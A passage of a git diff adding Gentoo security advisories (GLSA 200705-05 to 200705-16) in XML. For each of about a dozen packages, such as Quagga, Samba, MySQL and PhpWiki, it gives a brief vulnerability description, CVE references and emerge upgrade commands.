+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-05">
+  <title>Quagga: Denial of Service</title>
+  <synopsis>
+    A vulnerability has been discovered in Quagga allowing for a Denial of
+    Service.
+  </synopsis>
+  <product type="ebuild">quagga</product>
+  <announced>May 02, 2007</announced>
+  <revised>May 02, 2007: 01</revised>
+  <bug>174206</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/quagga" auto="yes" arch="*">
+      <unaffected range="ge">0.98.6-r2</unaffected>
+      <vulnerable range="lt">0.98.6-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Quagga is a free routing daemon, supporting RIP, OSPF and BGP
+    protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Quagga development team reported a vulnerability in the BGP routing
+    deamon when processing NLRI attributes inside UPDATE messages.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious peer inside a BGP area could send a specially crafted
+    packet to a Quagga instance, possibly resulting in a crash of the
+    Quagga daemon.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Quagga users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/quagga-0.98.6-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1995">CVE-2007-1995</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 23 Apr 2007 20:01:28 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 25 Apr 2007 21:27:10 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 30 Apr 2007 08:45:01 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-06.xml b/xml/htdocs/security/en/glsa/glsa-200705-06.xml
new file mode 100644
index 00000000..8929a242
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-06.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-06">
+  <title>X.Org X11 library: Multiple integer overflows</title>
+  <synopsis>
+    The X.Org X11 library contains multiple integer overflows, which could lead
+    to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">libx11</product>
+  <announced>May 05, 2007</announced>
+  <revised>May 05, 2007: 01</revised>
+  <bug>172752</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-libs/libX11" auto="yes" arch="*">
+      <unaffected range="ge">1.0.3-r2</unaffected>
+      <vulnerable range="lt">1.0.3-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    X.Org is an implementation of the X Window System. The X.Org X11
+    library provides the X11 protocol library files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple integer overflows have been reported in the XGetPixel()
+    function of the X.Org X11 library.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By enticing a user to open a specially crafted image, an attacker could
+    cause a Denial of Service or an integer overflow, potentially resulting
+    in the execution of arbitrary code with root privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All X.Org X11 library users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-libs/libX11-1.0.3-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1667">CVE-2007-1667</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 18 Apr 2007 14:52:56 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 20 Apr 2007 16:53:31 +0000">
+    dizzutch
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 23 Apr 2007 12:10:37 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-07.xml b/xml/htdocs/security/en/glsa/glsa-200705-07.xml
new file mode 100644
index 00000000..b18fb45b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-07.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-07">
+  <title>Lighttpd: Two Denials of Service</title>
+  <synopsis>
+    Two vulnerabilities have been discovered in Lighttpd, each allowing for a
+    Denial of Service.
+  </synopsis>
+  <product type="ebuild">lighttpd</product>
+  <announced>May 07, 2007</announced>
+  <revised>May 07, 2007: 01</revised>
+  <bug>174043</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/lighttpd" auto="yes" arch="*">
+      <unaffected range="ge">1.4.14</unaffected>
+      <vulnerable range="lt">1.4.14</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Lighttpd is a lightweight HTTP web server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Robert Jakabosky discovered an infinite loop triggered by a connection
+    abort when Lighttpd processes carriage return and line feed sequences.
+    Marcus Rueckert discovered a NULL pointer dereference when a server
+    running Lighttpd tries to access a file with a mtime of 0.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could upload a specially crafted file to the server
+    or send a specially crafted request and then abort the connection,
+    possibly resulting in a crash or a Denial of Service by CPU
+    consumption.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Lighttpd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/lighttpd-1.4.14&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1869">CVE-2007-1869</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1870">CVE-2007-1870</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 30 Apr 2007 09:09:47 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 01 May 2007 19:04:44 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 06 May 2007 21:36:16 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-08.xml b/xml/htdocs/security/en/glsa/glsa-200705-08.xml
new file mode 100644
index 00000000..76bc55ab
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-08.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-08">
+  <title>GIMP: Buffer overflow</title>
+  <synopsis>
+    GIMP is vulnerable to a buffer overflow which may lead to the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">gimp</product>
+  <announced>May 07, 2007</announced>
+  <revised>May 07, 2007: 01</revised>
+  <bug>176226</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/gimp" auto="yes" arch="*">
+      <unaffected range="ge">2.2.14</unaffected>
+      <vulnerable range="lt">2.2.14</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GIMP is the GNU Image Manipulation Program.
+    </p>
+  </background>
+  <description>
+    <p>
+    Marsu discovered that the "set_color_table()" function in the SUNRAS
+    plugin is vulnerable to a stack-based buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially crafted .RAS file,
+    possibly leading to the execution of arbitrary code with the privileges
+    of the user running GIMP.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GIMP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/gimp-2.2.14&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2356">CVE-2007-2356</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun, 06 May 2007 21:00:37 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 06 May 2007 21:03:26 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-09.xml b/xml/htdocs/security/en/glsa/glsa-200705-09.xml
new file mode 100644
index 00000000..c803ff73
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-09.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-09">
+  <title>IPsec-Tools: Denial of Service</title>
+  <synopsis>
+    IPsec-Tools contains a vulnerability that allows a remote attacker to crash
+    the IPsec tunnel.
+  </synopsis>
+  <product type="ebuild">ipsec-tools</product>
+  <announced>May 08, 2007</announced>
+  <revised>May 08, 2007: 01</revised>
+  <bug>173219</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-firewall/ipsec-tools" auto="yes" arch="*">
+      <unaffected range="ge">0.6.7</unaffected>
+      <vulnerable range="lt">0.6.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    IPsec-Tools is a port of KAME's implementation of the IPsec utilities.
+    It contains a collection of network monitoring tools, including racoon,
+    ping, and ping6.
+    </p>
+  </background>
+  <description>
+    <p>
+    The isakmp_info_recv() function in src/racoon/isakmp_inf.c does not
+    always check that DELETE (ISAKMP_NPTYPE_D) and NOTIFY (ISAKMP_NPTYPE_N)
+    packets are encrypted.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send a specially crafted IPsec message to one
+    of the two peers during the beginning of phase 1, resulting in the
+    termination of the IPsec exchange.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All IPsec-Tools users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-firewall/ipsec-tools-0.6.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1841">CVE-2007-1841</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 03 May 2007 18:53:19 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 06 May 2007 12:07:13 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 07 May 2007 19:54:14 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-10.xml b/xml/htdocs/security/en/glsa/glsa-200705-10.xml
new file mode 100644
index 00000000..6094732d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-10.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-10">
+  <title>LibXfont, TightVNC: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been reported in libXfont and TightVNC,
+    allowing for the execution of arbitrary code with root privileges.
+  </synopsis>
+  <product type="ebuild">tightvnc, libxfont</product>
+  <announced>May 08, 2007</announced>
+  <revised>May 08, 2007: 01</revised>
+  <bug>172575</bug>
+  <bug>174200</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-misc/tightvnc" auto="yes" arch="*">
+      <unaffected range="ge">1.2.9-r4</unaffected>
+      <vulnerable range="lt">1.2.9-r4</vulnerable>
+    </package>
+    <package name="x11-libs/libXfont" auto="yes" arch="*">
+      <unaffected range="ge">1.2.7-r1</unaffected>
+      <vulnerable range="lt">1.2.7-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    LibXfont is the X.Org font library. TightVNC is a VNC client/server for
+    X displays.
+    </p>
+  </background>
+  <description>
+    <p>
+    The libXfont code is prone to several integer overflows, in functions
+    ProcXCMiscGetXIDList(), bdfReadCharacters() and FontFileInitTable().
+    TightVNC contains a local copy of this code and is also affected.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could use a specially crafted BDF Font to gain root
+    privileges on the vulnerable host.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libXfont users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-libs/libXfont-1.2.7-r1&quot;</code>
+    <p>
+    All TightVNC users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/tightvnc-1.2.9-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1003">CVE-2007-1003</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1351">CVE-2007-1351</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1352">CVE-2007-1352</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 17 Apr 2007 09:12:59 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 23 Apr 2007 12:11:04 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 26 Apr 2007 19:02:32 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-11.xml b/xml/htdocs/security/en/glsa/glsa-200705-11.xml
new file mode 100644
index 00000000..9d2e8e04
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-11.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-11">
+  <title>MySQL: Two Denial of Service vulnerabilities</title>
+  <synopsis>
+    Two Denial of Service vulnerabilities have been discovered in MySQL.
+  </synopsis>
+  <product type="ebuild">MySQL</product>
+  <announced>May 08, 2007</announced>
+  <revised>May 08, 2007: 01</revised>
+  <bug>170126</bug>
+  <bug>171934</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/mysql" auto="yes" arch="*">
+      <unaffected range="ge">5.0.38</unaffected>
+      <unaffected range="lt">5.0</unaffected>
+      <vulnerable range="lt">5.0.38</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MySQL is a popular multi-threaded, multi-user SQL server.
+    </p>
+  </background>
+  <description>
+    <p>
+    mu-b discovered a NULL pointer dereference in item_cmpfunc.cc when
+    processing certain types of SQL requests. Sec Consult also discovered
+    another NULL pointer dereference when sorting certain types of queries
+    on the database metadata.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    In both cases, a remote attacker could send a specially crafted SQL
+    request to the server, possibly resulting in a server crash. Note that
+    the attacker needs the ability to execute SELECT queries.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MySQL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/mysql-5.0.38&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://bugs.mysql.com/bug.php?id=27513">Original Report</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1420">CVE-2007-1420</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 24 Apr 2007 19:47:08 +0000">
+    aetius
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 25 Apr 2007 21:17:16 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 25 Apr 2007 21:17:35 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-12.xml b/xml/htdocs/security/en/glsa/glsa-200705-12.xml
new file mode 100644
index 00000000..eb93181b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-12.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-12">
+  <title>PostgreSQL: Privilege escalation</title>
+  <synopsis>
+    PostgreSQL contains a vulnerability that could result in SQL privilege
+    escalation.
+  </synopsis>
+  <product type="ebuild">postgresql</product>
+  <announced>May 10, 2007</announced>
+  <revised>May 28, 2009: 02</revised>
+  <bug>175791</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/postgresql" auto="yes" arch="*">
+      <unaffected range="ge">8.0.13</unaffected>
+      <unaffected range="rge">7.4.17</unaffected>
+      <unaffected range="rge">7.3.19</unaffected>
+      <unaffected range="rge">7.3.21</unaffected>
+      <unaffected range="rge">7.4.19</unaffected>
+      <vulnerable range="lt">8.0.13</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PostgreSQL is an open source object-relational database management
+    system.
+    </p>
+  </background>
+  <description>
+    <p>
+    An error involving insecure search_path settings in the SECURITY
+    DEFINER functions has been reported in PostgreSQL.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    If allowed to call a SECURITY DEFINER function, an attacker could gain
+    the SQL privileges of the owner of the called function.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PostgreSQL users should upgrade to the latest version and fix their
+    SECURITY DEFINER functions:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;dev-db/postgresql&quot;</code>
+    <p>
+    In order to fix the SECURITY DEFINER functions, PostgreSQL users are
+    advised to refer to the PostgreSQL documentation: <uri
+    link="http://www.postgresql.org/docs/techdocs.77">http://www.postgresql
+    .org/docs/techdocs.77</uri>
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2138">CVE-2007-2138</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 03 May 2007 18:37:29 +0000">
+    aetius
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 06 May 2007 22:14:19 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 08 May 2007 06:08:11 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-13.xml b/xml/htdocs/security/en/glsa/glsa-200705-13.xml
new file mode 100644
index 00000000..9d0cbff7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-13.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-13">
+  <title>ImageMagick: Multiple buffer overflows</title>
+  <synopsis>
+    Multiple integer overflows have been discovered in ImageMagick allowing for
+    the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">imagemagick</product>
+  <announced>May 10, 2007</announced>
+  <revised>June 07, 2007: 02</revised>
+  <bug>152672</bug>
+  <bug>159567</bug>
+  <bug>173186</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/imagemagick" auto="yes" arch="*">
+      <unaffected range="ge">6.3.3</unaffected>
+      <vulnerable range="lt">6.3.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ImageMagick is a collection of tools allowing various manipulations on
+    image files.
+    </p>
+  </background>
+  <description>
+    <p>
+    iDefense Labs has discovered multiple integer overflows in ImageMagick
+    in the functions ReadDCMImage() and ReadXWDImage(), that are used to
+    process DCM and XWD files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open specially crafted XWD or DCM
+    file, resulting in heap-based buffer overflows and possibly the
+    execution of arbitrary code with the privileges of the user running
+    ImageMagick. Note that this user may be httpd or any other account used
+    by applications relying on the ImageMagick tools to automatically
+    process images.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ImageMagick users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/imagemagick-6.3.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1797">CVE-2007-1797</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 30 Apr 2007 13:08:15 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 01 May 2007 19:04:55 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 06 May 2007 21:19:41 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-14.xml b/xml/htdocs/security/en/glsa/glsa-200705-14.xml
new file mode 100644
index 00000000..dcc64d2e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-14.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-14">
+  <title>XScreenSaver: Privilege escalation</title>
+  <synopsis>
+    XScreenSaver allows local users to bypass authentication under certain
+    configurations.
+  </synopsis>
+  <product type="ebuild">xscreensaver</product>
+  <announced>May 13, 2007</announced>
+  <revised>May 13, 2007: 01</revised>
+  <bug>176584</bug>
+  <access>local</access>
+  <affected>
+    <package name="x11-misc/xscreensaver" auto="yes" arch="*">
+      <unaffected range="ge">5.02</unaffected>
+      <vulnerable range="lt">5.02</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    XScreenSaver is a widely used screen saver collection shipped on
+    systems running the X11 Window System.
+    </p>
+  </background>
+  <description>
+    <p>
+    XScreenSaver incorrectly handles the results of the getpwuid() function
+    in drivers/lock.c when using directory servers during a network outage.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local user can crash XScreenSaver by preventing network connectivity
+    if the system uses a remote directory service for credentials such as
+    NIS or LDAP, which will unlock the screen.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All XScreenSaver users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-misc/xscreensaver-5.02&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1859">CVE-2007-1859</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 08 May 2007 10:52:36 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 08 May 2007 15:43:15 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 13 May 2007 21:32:41 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-15.xml b/xml/htdocs/security/en/glsa/glsa-200705-15.xml
new file mode 100644
index 00000000..a2b2e7a1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-15.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-15">
+  <title>Samba: Multiple vulnerabilities</title>
+  <synopsis>
+    Samba contains multiple vulnerabilities potentially resulting in the
+    execution of arbitrary code with root privileges.
+  </synopsis>
+  <product type="ebuild">samba</product>
+  <announced>May 15, 2007</announced>
+  <revised>May 15, 2007: 01</revised>
+  <bug>177029</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-fs/samba" auto="yes" arch="*">
+      <unaffected range="ge">3.0.24-r2</unaffected>
+      <vulnerable range="lt">3.0.24-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Samba is a suite of SMB and CIFS client/server programs for UNIX.
+    </p>
+  </background>
+  <description>
+    <p>
+    Samba contains a logical error in the smbd daemon when translating
+    local SID to user names (CVE-2007-2444). Furthermore, Samba contains
+    several bugs when parsing NDR encoded RPC parameters (CVE-2007-2446).
+    Lastly, Samba fails to properly sanitize remote procedure input
+    provided via Microsoft Remote Procedure Calls (CVE-2007-2447).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit these vulnerabilities to gain root
+    privileges via various vectors.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Samba users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-fs/samba-3.0.24-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2444">CVE-2007-2444</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2446">CVE-2007-2446</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2447">CVE-2007-2447</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 14 May 2007 17:44:45 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 15 May 2007 12:42:21 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200705-16.xml b/xml/htdocs/security/en/glsa/glsa-200705-16.xml
new file mode 100644
index 00000000..ef91d43d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200705-16.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200705-16">
+  <title>PhpWiki: Remote execution of arbitrary code</title>
+  <synopsis>
+    A vulnerability has been discovered in PhpWiki allowing for the remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">phpwiki</product>
+  <announced>May 17, 2007</announced>
+  <revised>May 17, 2007: 01</revised>
+  <bug>174451</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/phpwiki" auto="yes" arch="*">
+      <unaffected range="ge">1.3.10-r3</unaffected>
+      <vulnerable range="lt">1.3.10-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PhpWiki is an open source content management system written in PHP.
+    </p>
+  </background>
+  <description>
+    <p>
+    Harold Hallikainen has reported that the Upload page fails to properly
+    check the extension of a file.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could upload a specially crafted PHP file to the
+    vulnerable server, resulting in the execution of arbitrary PHP code
+    with the privileges of the user running PhpWiki.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PhpWiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/phpwiki-1.3.10-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2024">CVE-2007-2024</uri>
